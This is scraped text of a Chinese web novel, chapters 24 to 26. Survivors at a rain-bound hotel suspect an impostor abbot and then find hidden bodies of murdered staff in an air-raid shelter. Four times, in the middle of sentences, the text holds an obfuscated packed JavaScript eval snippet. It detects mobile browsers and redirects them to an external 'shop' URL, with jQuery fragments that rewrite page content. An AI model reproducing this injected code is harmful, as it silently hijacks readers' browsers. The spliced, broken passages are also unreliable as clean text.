“曾经？” “如今弘愿寺除了我已经没和尚了，大家都要生存，一旦面临生存的难题，佛祖也不管用。” “那倒也是。”张进认同地点了点头。 “我帮你们搬东西吧，刚好我也要去餐厅，快开饭了。”秋呈笑了笑，他脸上的皱纹随着他的微笑晕开，形成了一种慈悲的氛围。 肖与楚和张进都没有拒绝，但是他们决定把整个推车都抬上去，只需要秋呈添把手就行了。 推车的主要重量都落在肖与楚身上，她现在力气大得惊人，基本上抬起这么多东西不需要消耗她什么。 等把推车搬上了楼，肖与楚故作大喘气，并对秋呈说了句谢谢。 秋呈客气地连连摆手：“哪里哪里，我都没使上什么劲儿，还是你们年轻人力气大。” “团结力量大。”肖与楚随口说道。 “没错没错，”秋呈把僧袍的袖口放了下来，淡淡地瞥了一眼小野，“这是你的孩子？” “嗯。” “那这位，是你先生？”秋呈又看张进。 “不是，不是，”张进连连摇头，“我怎么可能是她先生，我们就是萍——” “平时玩得好的朋友。” 张进愣了一下，咧开嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13726292|142992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点了点头道：“没错，朋友。” “真好啊，这种时候还有朋友相伴，不像我孤家寡人一个。” 在餐厅里忙得团团转的吴大名看到肖与楚带回来这么多物资，脸上立马堆起了笑容。 “是我眼瞎，没想到你们真的有东西啊，”吴大名的目光在推车上扫来扫去，“这东西够我们这么多人吃个把星期了。” “哎，是我们运气好，总能遇到贵人。”秋呈说。 “去去去，老和尚，都啥时候了，你还说这些有的没的，要是佛祖真的有用，我们几个也不用再这里苦苦挣扎了，佛祖啊，就是个屁。”吴大名没好气。 秋呈笑而不语。 “谢云廷，你去把那些人叫过来，就说该吃晚饭了。”吴大名喊在厨房里照看柴火的谢云廷。 “知道了。”谢云廷说着就起身跑了出来，经过肖与楚时，他冲肖与楚笑了笑。 谢云廷走了大概十分钟左右，这期间，肖与楚、小野在靠窗边的一张餐桌上坐了下来，秋呈就坐在他们斜对面那张餐桌上，据他所说那是他的固定餐桌。 窗外的夜色逐渐浓郁，已经看不太清整个城市的轮廓了，但是其中朦胧的光亮，似乎又在对外界诉说，这里还有坚强活着的人类。至于能活多久，没有人能知道。 谢云廷大概走了十分钟，终于回来了，跟在他身后的是各个房间里的房客，一对老夫妻、一对母女，林预，还有乔一伊。 乔一伊一见到肖与楚就扑了过来。“你们怎么神不知鬼不觉走了，吓死我了。” “我们想出来看看。” “看看也要说一声吧，我醒来看到你们不在都担心死了，差出点出去找你们。” “不用担心，没事的。”肖与楚把乔一伊拉了下来，让她坐在自己身边。“我们可能要在这里多待几天。”她对乔一伊说。 “多待几天？”乔一伊思考了几秒，“我也觉得这里不错，而且大多数人都蛮好的。” “大多数人？那少数人是谁？”肖与楚随口问道。 “那对老夫妻。我刚刚看到他们骂小谢了。” “他们骂什么？” “说什么不应该叫他们起来，应该把吃的送到他们房间里去，还说他不过是条狗。” “那谢云廷怎么说？” “他什么也没说，只是很平静地接受了这顿责骂。” “他……脾气真好。” “我也觉得是，这世界都这鸟样了，他还把自己当打工人吗？这都不反抗？” 说话间，那对老夫妻已经到窗边的一个观景位坐了下来。 那位老头满头白发，但精神矍铄，穿着一套干净的西装，而那个老太则与他气质不同，看起来凶神恶煞，连穿着也朴素很多。 那对母女也引起了肖与楚注意，主要是女儿长得挺漂亮的，有一张鹅蛋脸，肌肤如脂，眉眼弯弯，看起来温柔贤惠。而这种美貌一看就是继承了妈妈，妈妈穿着一件黑色连衣裙，虽然脸上有衰老的痕迹，但看得出来年轻时候很漂亮。 林预和老和尚一桌，两人就坐在靠近厨房的位置。 “小谢，赶紧把我们的饭拿上来啊！等什么呢！”老头拍着桌子大叫道。 “来了来了。”正在岛台忙碌的谢云廷听到老头的叫唤，立马端着两个装满食物的盘子跑了过来。 不知道他太着急了，还是地面太滑，他还只跑过那对母女附近，就扑通一声摔倒在了地上…… 24. 024 “你怎么搞的？这么点事都干不好！”还没等其他人做什么，厨房里已经传出来了责骂声。 肖与楚刚站起身，就看见那个漂亮女孩已经走到了谢云廷身边，她蹲了下来，扶着谢云廷的胳膊。 “你没事吧？”女孩关切地问谢云廷。 “没事没事。”谢云廷挣开了女孩的手，着急忙慌地拿起地上的托盘，收拾地上的残渣。 “呵——”老头冷笑一声，“你说现在的年轻人，这么点小事都不干不好，跟废物有什么区别？” “老金，你少说几句。” “我说得够少了，这要换我年轻的时候，马上就让他滚蛋了！” “妈的，你个废物！”伴随着更响亮的一声骂声，吴大名已经冲到了谢云廷面前，他抬起脚一脚把他踹翻在地。“你他妈知不知道现在吃的东西有多宝贵，就这么扔地上了，我看不如你把这些饭菜都吃了！” 谢云廷挣扎着坐了起来，继续低头收拾地上的饭。 “我……我今天晚上不吃饭了，这些我……我都吃掉。”谢云廷结结巴巴地说。 “吴经理，你这样太过分了吧。”女孩站了起来，“他又不是故意的。” 吴大名冷笑一声：“小丁啊，你收起你的菩萨心肠吧，你再对他好，他又以为你看上他了。” “这怎么可能？”被换做小丁的女孩瞬间红了脸。 “怎么不可能了，这小子歪心思多得很，我是看你们母女俩是来清修的，才提醒你们，不要被这种满脑子邪门歪道的小子骗了。” “吴经理，他还是是个孩子。”女孩的妈妈也插嘴道。 “孩子？我像他这么的大的时候，都已经负担起一家人的生活了，他是什么都干不成，要不是我大发慈悲让他留下来，他都活不到今天。” “吴经理，你这人说话怎么这么难听啊。”乔一伊忍不住了，“他不过就打翻了饭而已，你有必要扯东扯西，说那些有的没的。现在都什么世道了？你还端个经理的架子给谁看呢！” 这时老和尚秋呈也站了起来，他做了个阿弥陀佛的手势说：“吴经理，要不把我这几顿饭砍一半吧，我是出家人，不用吃这么多。” “把我的也拿去一半吧，我最近……吃不下。”林预也说。 吴大名环视了一圈所有人，说：“你们这帮人是不是有毛病，好吃好喝伺候着，跟大爷似的，我看就该饿死你们。” 吴大名说着气冲冲地走了。 谢云廷从地上爬了起来，朝着周围的人鞠躬道歉，也匆匆走进了后厨。 老头又骂骂咧咧了好一会儿，才由老太太去岛台端来了饭菜，接着其他人也自己去岛台端了吃的。 这顿饭的氛围极其不自然，肖与楚怀疑是不是因为他们这几个陌生人来了的原因，其他人似乎都在窃窃私语，交流着些什么。 “小楚，你觉不觉得那个吴经理也很奇怪啊？”饭快吃完的时候，乔一伊低声对肖与楚说道。 “是很奇怪。”肖与楚回道。这个吴经理明明脾气那么差，看起来也不太想伺候这些人的样子，但却一直在做饭收拾，看起来把这里的日子打理得紧紧有条。 最重要的是，在这种念头，任何物资都是紧缺资源，为什么要吃力不讨好地把物资给这这些十指不沾阳春水的人吃？ “总感觉这里氛围怪怪的，都什么时候了一个个谱比天大，也不怕被雷劈了。”乔一伊渐渐恢复了往日和同学相处的神态。 吃完饭后，肖与楚本来想留下来帮忙收拾，但是张进拒绝了，说这种事交给他这个厨房常客就好。 肖与楚、乔一伊、小野于是跟在其他人身后一起先回房间。 走到连廊处，小野突然抛开肖与楚和乔一伊，往前跑了几步，拉住了小丁的衣角。 这一举动毫无预兆，肖与楚一时不知道她要干什么。 “姐姐，我想知道，清修是什么啊？”小野问小丁。 小丁愣了愣，回过头看着眼前这个小孩。 “清修……就是佛教的一种修行。”小丁有些局促地回答道。 小野：“哦，你们清修是去山上的弘愿寺吗？” 小丁想了想，回答道：“是。” 小野再问：“那你和阿姨在这里清修多久了？” 小丁愣了愣，似乎头脑有些迟钝了。“多久了？到底多久了？我有点……有点想不起来……” “别跟她们瞎聊了，我们赶紧回去吧，别耽误打坐。”小丁的妈妈催促道。 “对不起，我要回去了。”小丁向小野露出抱歉的神情，“明天见。” “明天见，姐姐。”小野愉快地说。 肖与楚本来想问小野为什么要开始这段对话，但在对话结束时，她悟出了原因：小丁也有问题。 一个佛教徒会记不起来清修多长时间了？ 而且她们来弘愿寺清修，居然不认识弘愿寺的住持，到现在为止，肖与楚都没见到她们和弘愿寺住持交流过，这其中肯定有猫腻。 因为落在最后，很快肖与楚就搞清楚了每个人所住的房间。那对清修的母女住在308，老夫妻住在305，主持住在311。据林预介绍，谢云廷和吴大名住在301和302。 回到房间后，肖与楚、小野、乔一伊没有休息，而是坐在床边，嘀咕起来。 “妈，我觉得小丁有问题。”小野一边咀嚼能量棒一边说，刚刚那顿饭不合她胃口，她没吃几口。 “岂止是小丁有问题，我觉得这里所有人都不像正常人。”乔一伊顿了几秒，“这些人该不会都中邪了吧。” “的确有点像中邪。”肖与楚附和道。 “小楚……”乔一伊突然打了个冷颤，“这要真是中邪，我们今晚会不会有危险啊？” 肖与楚摇了摇头，她又想到了廉敏佳和潺音，已经几个小时没见到她们了，不知道她们怎么样。 “我去看看廉敏佳和潺音。”肖与楚站起身说道。 “我也去。”乔一伊和小野几乎同时站了起来。 “你们就待在房间，我会把他们叫过来。” 肖与楚打开了门，走廊上静悄悄，没有任何人影。她轻手轻脚走到了320门口，敲了敲。不一会儿，里面就传出来了动静，廉敏佳睡眼惺忪地打开了门。 “姐姐，有什么事？”廉敏佳问。 “去我房间一趟，我有话跟你们说。” 廉敏佳想问是什么事，但肖与楚做了一个嘘的手势，廉敏佳见状便点了点头，抽出房卡，关上门，往肖与楚的房间去了。 接着，肖与楚又来到了潺音房间门口，她连敲了好几次门，但门里却没传来什么声音。 肖与楚奇怪，就算睡觉，一个在外征战将军，应该不会睡这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13730214|142992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死吧。她再敲了敲，依旧没有人回应。 “我来。”小野从她身后钻了过来，她正准备像在活力城一样，故技重施，就被肖与楚拦住了。 “万一她只是睡着了。” “嗯……”小野沉思着摇摇头，“那可不一定，万一潺音姐姐出事了怎么办？” 肖与楚一想到这种可能心里也有打鼓，她微微颔首，示意小野把门打开。 在小野打开门的瞬间，肖与楚就意识到事情不妙：潺音不见了。 房间里空空荡荡，床上的被褥之类铺得整整齐齐，似乎没有动过的痕迹。而房间里的窗户大开着。 “潺音姐姐跑了？”小野说道。 肖与楚走到窗边往下看，三层高，下面是一片水泥地，如果是普通人，可能会受伤，但如果是潺音，倒未必了。 但问题是，她跑出去是要去做什么呢？ “我们要不要去找她？”小野问肖与楚。 肖与楚沉默了一会儿，说：“先不用找了，给她留个纸条，等她回来吧。” 肖与楚和小野从319出来后，关上了房门。恰巧这时张进急匆匆地从连廊上走了回来。看到肖与楚和小野，他一愣。 “你们在干什么……” “没干什么，”肖与楚抢先回答道，“你去我们房间一趟。” “我正好要去呢，有好多话跟你们说。”一起经历这么多风雨，张进依然把肖与楚、乔一伊这几个人当做可以依靠的兄弟姐妹了。 众人溜回了房间。肖与楚第一时间告诉了大家潺音失踪的消息。 “她该不会又掉进什么时空裂缝了吧？”乔一伊担忧。 肖与楚摇摇头：“应该不会，我看她应该只是偷偷跑出去了。” “她跑出去干啥，”张进抹了一把额头上的汗，“他奶奶的，我在这里干了一个小时活儿，感觉比在餐厅干一年还心惊胆战。” “到底发生什么事了？” “也没发生什么事啊……”张进愁眉苦脸，“可就是觉得不对劲。” 廉敏佳不解：“哪儿不对劲啊？” “这就是问题所在。”肖与楚叹气，“我们都觉得不对劲，可是不对劲在哪儿呢，我们又都说不清道不明的。” “是啊……那个……谢云廷是不是被PDF了啊？怎么会那么听吴大名的话……”张进托着腮思索道。 “PDF？你的意思是PUA？” “对对对，PUA，这些网络词我记不太清楚。” “嗯……我也觉得他的脾气太好了，会不会是吴大名控制了他？就像……就像控制陈斯的那些黑虫子一样。” 肖与楚无声地摇了摇头，至少目前她没看出来这种迹象，她又看小野，小野也茫然地摇了摇头。 “那他喜欢小丁，是真的吗？”乔一伊又说。 “问得好，这个问题我刚刚问了她，他回答了我。” “怎么回答的？” “他说，谁看了漂亮女孩不喜欢呢，但喜欢又不代表他要做什么。” “哦……”乔一伊若有所思地点了点头，“他还是个纯情男。” “纯不纯情我不知道，我感觉他蛮蠢的。” 众人有一搭没一搭地聊了好一会儿，依然对酒店里所发生的事没什么头绪。 就在大家一筹莫展时，突然传来了急促的敲门声。 25. 025 “谁？”肖与楚顿时警觉起来。 “是我。”是潺音的声音。 肖与楚走到门边，透过猫眼往外看了一眼，发现的确是潺音，她换了一身黑衣，脸上满是雨水，头发也被淋湿了。 肖与楚打开门，略有些警惕地问道：“你去哪儿了？” “我在周围转了一圈，发现了一些事，想要跟你们说。”潺音的脸色不怎么好看。 肖与楚侧了侧身子，让潺音进了门。 潺音一进门看到房间里塞满了，眼神里闪过一丝惊讶。随后，她一屁股坐在了地上，悠长地叹了口气。 “你们的世界太诡异了。” 乔一伊一笑：“这个……不用你说，我们也知道。” 潺音欲言又止，他沉默了几秒钟，又说：“你们肯定不敢相信，我刚刚看见了什么。” “你……看见了什么？” 众人都好奇了起来，眼巴巴地看着潺音，等待着她说出她的发现。但大家心里都有一种奇怪的心理，怕她说出什么不能接受的东西，毕竟这个酒店的确有很多他们不能理解的事情。 “我看见了弘愿寺的住持。” “咳——”张进松了口气，“我还以为谁呢，我今天也看见他好几回，他到处瞎溜达，根本闲不住。” “哎，也吓我一跳。”乔一伊摸了摸胸口。 潺音看大家都这么说，气鼓鼓地抱起了她的长剑。其实从她的面孔来看，她也不过是个十六七的孩子，只是之前杀戮的戾气掩盖了这一点。 “你在哪个地方见到他的？”肖与楚问。 潺音见肖与楚有兴趣，便坐直了身子，继续说道：“我在弘愿寺见到的。” “他去弘愿寺做什么？” “他本来就是那里的住持啊……” 潺音看着眼前的人，问道：“你们……难道不应该问我何时见到他的吗？” 众人你看我，我看你，心头都掠过了一丝疑惑。 “你们一起去餐厅时，我看到他在弘愿寺大雄宝殿祈福。” “什么？” “你看错了吧。” 潺音摇了摇头，缓缓说道：“我没看错，就是他，其实进房没多久，就出去了。我在行军打仗时有个习惯，习惯先观察周围的地形。我跳下去后，发现他在洗浴中心外的屋檐下洗衣服，他那身青衣太显眼了，又是光头，所以我记住了他的样貌。我在酒店附近转了一圈，看见你们去拿物资，遇见了他，一起上了二楼。” “没错，我们的确上了二楼，之后他就哪儿都没去过了。”张进不失时机地说道。 潺音淡淡地看了张进一眼，接着说：“我记得来时那个倒下的路牌，所以便循着山路往上，到了弘愿寺，门口的寺庙介绍我也看懂了。” “这不奇怪，你们两个时空只是发展时代有差异而已。”小野插嘴道。 “寺庙既然是祈愿的地方，我想我的愿望它应该也会满足吧，我进了寺庙，进了大雄宝殿，看到了老和尚，还有一个年轻和尚，他们两个正在盘坐着，嘀嘀咕咕些什么，我猜他们是在进行一种祈祷仪式。” “老和尚人很和蔼，看见我这个陌生人闯入，也没有责怪，只是问我的来处，得知我住在鸿鑫酒店吃了一惊。” “为什么吃惊？” “他说他以为这个酒店早就没有人了。” “他们没有下山过？” “他说自己世界大乱那天起，他就没下过山。” 乔一伊倒吸了一口冷气：“那……在酒店住着的住持是谁？” “我问他了，他说他没有孪生兄弟，不知道这里住的是谁，但绝不是他本人。” “这就怪了，怎么还冒出个真假住持啊……我都糊涂了。”张进一脸不解地挠了挠头。 “谁能做出这种事啊？”乔一伊摸着下巴思索。 “她就能做啊。”小野冷不丁地指了指潺音。 众人的视线都集中到了潺音身上，连一直没什么存在感的廉敏佳也看了过来。 “我是能变成老和尚的模样，但我不觉他们俩其中一个有我的族人。” “要不你先变一个给我们看看。”乔一伊兴致勃勃。 潺音思索了几秒，说道：“这时我们丹族人天生就会的绝技，是祖先给我们的礼物，通常我并不愿意在外人面前展示，但是既然你们想让我做，我便做给你们看……” 说话间，潺音的脸已经发生了变化，在所有人面前的已经是秋呈住持的脸。 除开小野的所有人都同时发出了一声低沉的惊呼。 “这……这也太神奇了。” “祖宗，我这是见鬼了吗？”张进揉了揉眼睛。 肖与楚第一次见到这种场景，也感到无比震惊，她问：“你的声音能变吗？” “当然。”说话间，潺音的声音也变成了老方丈的声音，“这都是按照我在弘愿寺见到的住持的样子模仿出来的。” “和我们在餐厅里见到的也一模一样。” “不，”肖与楚摇头，“还是有不一样的地方。” “哪里？” “声音。潺音，你确定你现在的声音和你在寺里见到的住持的声音是一模一样吗？”肖与楚问。 “没错。” “那就在这里了，我们见到的住持，声音更加年轻一点。” “这你都听出来了？” “嗯。”肖与楚猜想这应该是她被改造过的原因，所以能听出这细微的差别。 “但即便如此，我们也没办法确认谁是真正的弘愿寺住持，就像真假美猴王一样，他们都会说自己是真的。”廉敏佳难得开口说道。 “是啊。”肖与楚也犯起了愁。 潺音又恢复了原本的样子。 大家头碰头坐在一起，谁也没有做声，也没有人就眼下的情况做进一步的安排。过了好一会儿肖与楚才开口说道：“我们目前没遇到什么危险，不如今晚观察观察，看看外面会不会发生什么其他的事，如果无事发生，我明天再探探看是什么情况。” 大家对这个建议都没有异议。只是对于是否居住在同一个房间，产生了一些分歧。这个房间容下三个人就不错，如果再多几个人，尤其还有张进这个男的，会无比拥挤，所有人睡不好觉。 但张进又是这其中最弱的之一，商议后，肖与楚让张进和廉敏佳交换了房间。 就这样，在鸿鑫酒店的第一个夜晚降临了，这个晚上，虽然大家居住在不同的房间，但心里都一样的忐忑。 尤其是肖与楚，她一直留意着外面的动静，但一夜无事，只有雨一直在淅淅沥沥地下。 在天色刚露出鱼肚白的时候，她从床上爬了起来，洗了把脸，准备出门转转。 她先是开了条门缝，听了听外面的动静。就在她准备抬脚出去时，突然听到走廊里传来了开门的声音。 肖与楚停下脚步，屏住呼吸聆听外面的动静。 “六点钟防空洞拿物资，六点钟防空洞拿物资……” 听声音是谢云廷的，所以他要去防空洞拿物资？ 肖与楚不知道防空洞的位置，听他这么说来了兴趣，她急忙拉开门，却看见谢云廷的人影消失在了电梯间。 肖与楚关上门，一路小跑着追了出去。在到达一层时，她终于追上了谢云廷。 “小谢。”肖与楚拍了拍谢云廷的肩膀。 “啊——”谢云廷吓得一激灵，整个身体贴在了墙上。 看见是肖与楚，他惊恐的表情放松了些。 “是你。” “是我啊，你以为是谁？” 谢云廷呼吸有些急促，但很快就露出了职业的微笑。 “我没以为是谁，只是这么早，我刚刚又集中在去防空洞拿物资这件事上，所以吓一跳。” “这样啊，”肖与楚也笑，“我睡不着，所以起来得早，我跟你一起去拿物资吧。” 谢云廷有些为难：“吴经理说，只能我自己去。” “他起来了吗？” “没有。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13734325|142992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “那不就完了，他又不知道我会去。” 谢云廷张了张嘴，也说不出什么反驳的话来，便道：“那你跟着我吧。” 防空洞就在酒店后的机电房旁边。大门厚重，谢云廷放下伞，将钥匙插进去，又转动了几圈转盘，才算打开了门锁。 肖与楚与他一起拉开了门，门里一股阴凉的气息扑鼻而来。 谢云廷很紧张：“事先说好啊，不要告诉吴经理，不然我会挨骂的。” “当然。”肖与楚笑着回答道，“对了，我看前面还有一个防空洞，那里装的也是物资？” 谢云廷往前看了一眼，摇了摇头说：“不是，那是个废弃的防空洞，很小。” 防空洞里气温舒适，隐约还能听到机器的轰鸣声。除了阴凉的味道外，没有什么其他难闻的气味。 谢云廷在一间房里拿了一袋红薯，又拿了一些调味品和罐头，才走出来。 肖与楚主动接过了那袋红薯。 “你们这里有多少物资？能用多久啊？” “老板存的，我不知道能用多久。” “你们老板，为什么要存这么多物资？” “我听说他是一个特别害怕世界末日的人，每年都担心世界末日到来，所以才定期存物资，结果……还真的来了。” 谢云廷说着已经走到了防空洞门口，他呆呆地望着门外的雨。 “只不过到了世界末日，很多事情就变得平等了，钱也买不到活命的机会。” “他死了?” “被其他员工杀死了。” 谢云廷说着举起伞走进了雨中，肖与楚急忙跟了上去。 早上十点是早餐时间，早餐只有老头发了一顿莫名其妙的脾气，其余一切都很平静。肖与楚一行人吃了早餐后，又在她的房间集合了。 这回大家的状态都松弛了许多。 “我看我们还是疑心病太重了，昨儿一晚我都没睡好觉，结果什么都没发生，待会儿跟你们聊完我要回去补觉了。”张进慢悠悠地打了个哈欠。 “我也是，好不容易过几天安生日子，我们还是别瞎折腾了。”乔一伊垂头丧气。 “你们这样很容易落入别人的陷阱。”没等肖与楚开口，潺音率先说话了。 “但首先我们得知道是谁在布置陷阱？是什么陷阱吧？我没看出谁有要害我们的意思，只看到一帮人在这有吃有喝的，每天过着神仙般快活的日子。” 肖与楚：“这就是最奇怪的地方了，这个酒店就这么几个人，而且位置这么显眼，居然就我们这几个人来……” “啊……”乔一伊叫了一声，“该不会我们闯入了什么结界吧？” 众人：“……” 就在众人没有头绪的时候，突然响起了敲门声，所有人都一激灵。 肖与楚做了个嘘的手势，然后轻手轻脚地走到了门边，她扒拉着猫眼往外看了一眼，发现是谢云廷。他东张西望，好像很紧张。 肖与楚打开了门，扬起笑脸问道：“小谢啊，什么事？” 谢云廷：“吴经理让我过来通知大家，他说山下雨停了，怕有人会上山来找麻烦，所以把酒店的入口都封闭了，让大家不要出去。” “雨停了？” “嗯，刚停没多久，但水还没退。”谢云廷说。 “明白了，谢谢你。”肖与楚笑着说。 谢云廷歪了歪脑袋，往房间里看了一眼，就微笑着离开了。 肖与楚默默地关上了门。 “雨真的停了？但是这里怎么还在下？”张进望着窗外说。 “他说的是山下停了，”肖与楚端着胳膊，走到窗边，往外看了一眼。“他还说，所有进入酒店的入口都被封闭了。” “意思是我们出不去了。”张进说完身体一激灵，“所以我们被困在这里了？” “还没什么地方能困住我。”潺音不冷不热地说道。 肖与楚沉默了半晌，扫视了所有人一眼说：“我有件事要跟你们商量……” 26. 026 这的确是间环境宜人的酒店，即便不能出去，在酒店的院子里走一走也不错。到了下午，肖与楚和小野到酒店里的小花园散步，没转几分钟，就看到林预坐在亭子里，对着桌子神神叨叨念着些什么。 肖与楚和小野互相交换了眼神，这便是他们俩出来这一趟的目的。两人轻手轻脚地走上前去，才发现林预在对着一沓手稿碎碎念。 “谋杀？他因为撞破了老板的阴谋被谋杀了，尸体被扔进了别人找不见的地方，暗无天日，但他的灵魂还活着……活着吗？还是……不对，我写的是悬疑小说，不是神鬼小说……” “叔叔，你一个人说什么呢？”小野冷不丁地在林预背后说道。 林预身子一颤，桌上的手稿飞起了一个角，他回过头，肖与楚旋即从另一边绕过去在他身旁坐了下来，扫了一眼手稿。 “小朋友，你怎么悄没声的啊，吓我一跳。”林预扶了扶眼镜。 小野：“我发出声音了啊，只是你太专注，没听见。” 林预皱眉：“是吗？” “林作家，你在酒店住多久了啊？”肖与楚在另一边发声问道。 林预又吓了一跳，他一回头发现肖与楚在看自己的手稿，急忙捂住。 “你……你又是什么时候出现的，干嘛偷看我的东西？” “我跟我女儿一起啊，而且只是随便翻翻，什么也没看见。”肖与楚保持着微笑。 林预：“有其母必有其女，随便翻人家的东西，是一种很不礼貌的行为。” “好吧，我道歉。不过，林作家，你到底写了些什么啊？我刚刚听见什么悬疑啊，神鬼啊之类的，你的小说听起来风格挺杂糅的。” “这个世界都这么乱七八糟了，一个小说风格杂糅有什么可奇怪的。” 肖与楚托着腮，皱着眉头思考了一会儿，若有所思地点了点头。 “说的也是，这个世界比我想的还疯狂。”肖与楚望向了远处。 林预赶紧收好了书稿，说：“我先走了，你们玩儿吧。” 不等肖与楚再说什么，林预就逃之夭夭。 肖与楚和小野看着林预逃走的背影，眼里都流露出了一丝迷茫的神色。 这天的晚饭没有在风平浪静中度过，吴大名依旧狠狠骂了谢云廷一顿，谢云廷给老夫妻送饭的时候，又出了错，被数落了一通。小丁似乎很同情谢云廷的遭遇，想安慰但没说出口。 等晚饭散步完回来的时候，肖与楚看见谢云廷和小丁在连廊嘀嘀咕咕什么，他们俩看到肖与楚一行人，立即像没事人散开了。 疑惑一直在肖与楚心里，但她总觉得，很快就有答案了。 就这样夜晚再次来临，一直到半夜，肖与楚都醒着，等时钟到了两点，她从床上爬起来，叫醒了还在熟睡的小野和乔一伊，跟她们交代了几句，就出了门。 接着她来到了潺音房门口，亲生敲了敲门。 不一会儿，门开了，在门里站着的是潺音和廉敏佳。几人互相交换了下眼神，就从三楼跳了下去。准确地说，只有潺音是跳下去的，肖与楚不确定自己跳下去会不会受伤，但如果跳下去总是需要点时间恢复，因此便让廉敏佳控水把自己送了下去。 夜凉如水，肖与楚能感觉到空气中的凉意，确定四周没人后，她亮起了照明灯，给其他人眼色示意，于是三人列成一队往那个废弃的防空洞走去。 到了门口后，肖与楚拿出小野给她的钥匙，打开了门，三人鱼贯而入，又把门关上了，以免引起人注意。 这里的气味很不一般，或许是多年荒废的缘故，有一种很阴沉的霉味，还夹着一种淡淡的臭味。 “姐姐，你到底要在这里找什么？”廉敏佳问道。 肖与楚摇了摇头，她也不知道要找什么，原本她只是想趁大家入睡的时候，在酒店里探个虚实，但看到林预的小说后，她就有了新的想法，而在酒店里探索的事情就交给小野了。 “各个门都打开看看吧。”肖与楚说。 打开紧闭的门对廉敏佳和潺音来说都不是什么难事，况且这废弃防空洞里的独门也不多，两人三下五除二就把所有门打开了，什么东西都没有。 几个人站在大厅里，面色有些发愁。 “要不我们去别处找。”潺音说。 “还有什么地方可找？”廉敏佳问。 潺音摇了摇头，这不是她的时代，没有枯井、山洞之类的地方。 肖与楚思考了一会儿，拎起照明灯往四周看去，虽然这里废弃了，但也堆放了不少有年头的杂物，空间利用得很充分。 她的目光一寸一寸的移动，很快就堆在墙角的一堆废旧钢材吸引住了，这些钢材堆在本是堆在墙角，但是因为太多，占了很大一块地方。 有一种直觉侵袭着肖与楚，她上前准备搬开那些钢材，潺音和廉敏佳立即上前帮忙。 在搬了几块大的废弃钢材后，一扇门的一角出现在了三人的眼前。 三人互相交换了眼神，加快了速度。过了大约10分钟，整扇门就暴露在大家眼前了。 “没想到这里还有一扇门。”潺音喃喃说道。 是啊，肖与楚也没想到，可是一扇被废旧钢材堵住了的门，背后说不定有什么不为人知的故事。 “我要开门了，你们最好有心理准备。”肖与楚说。 其他两人点了点头。 肖与楚深呼吸了一口气，上前钥匙入孔，拉开了门。 门里扑过来一种难以言喻的混合味道，使得三个人顿时都一激灵。 是的，她们三个人都很熟悉这种味道——血腥味。 不过是一种很陈旧的血腥味，在她们三人的目光所及之处，是码得整整齐齐的用透明薄膜裹起来的东西，长条状、刚好一个普通人那么粗，而在这些长条状东西的缝隙里，塞满了能吸纳臭味的活性炭包。 肖与楚哪里见过这种场面，她不由得倒吸一口气。 “这么多尸体……少说有二十具吧。”潺音不愧是见过大场面的人，丝毫没有慌乱的架势，她甚至还走上前仔细查看。 “不止是有尸体，你们看这里。”廉敏佳指了指左侧的墙边，在墙边，有几十个胸牌散落在那里。 肖与楚蹲下身子，随手捡起一块胸牌，上面刻着鸿鑫酒店的徽章还有店名，以及这个人的职位和名字，几十个胸章皆是如此。 “全都是这个酒店的人？”廉敏佳似乎是在自言自语。 “应该是吧。”肖与楚起身，这才发现潺音已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13737989|142992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经打开了一包尸体，臭味立即蔓延了整个房间。 肖与楚差点吐出来。 “被掐死的，感觉其他也是。”潺音淡定地说道。 从房间里出来是十分钟后，在夜色的包裹下，一行三人依靠廉敏佳的能力回到了潺音的房间。 肖与楚回到房间时，小野已经端坐在床上了，她的脸色比想象中还要沉重。 “有发现？”肖与楚问。 “嗯。”小野点头。 小野把在酒店档案室里的发现说给肖与楚听，肖与楚感觉终于拼凑起了整个故事。 翌日，天公不作美，竟然又下起了雨。 早上十点，是鸿鑫酒店现在固定的就餐时间，众人依照这个时间到了餐厅里。肖与楚今天格外没胃口，她只吃了一点点东西便坐在窗前看着窗外的雨发呆。 “这是人吃的东西吗？”老头抱怨的声音又响了起来，“每天都做这种糟糠玩意儿吃，这酒店迟早倒闭。” “有没有一种可能，这个酒店早关门了。”肖与楚回应道。 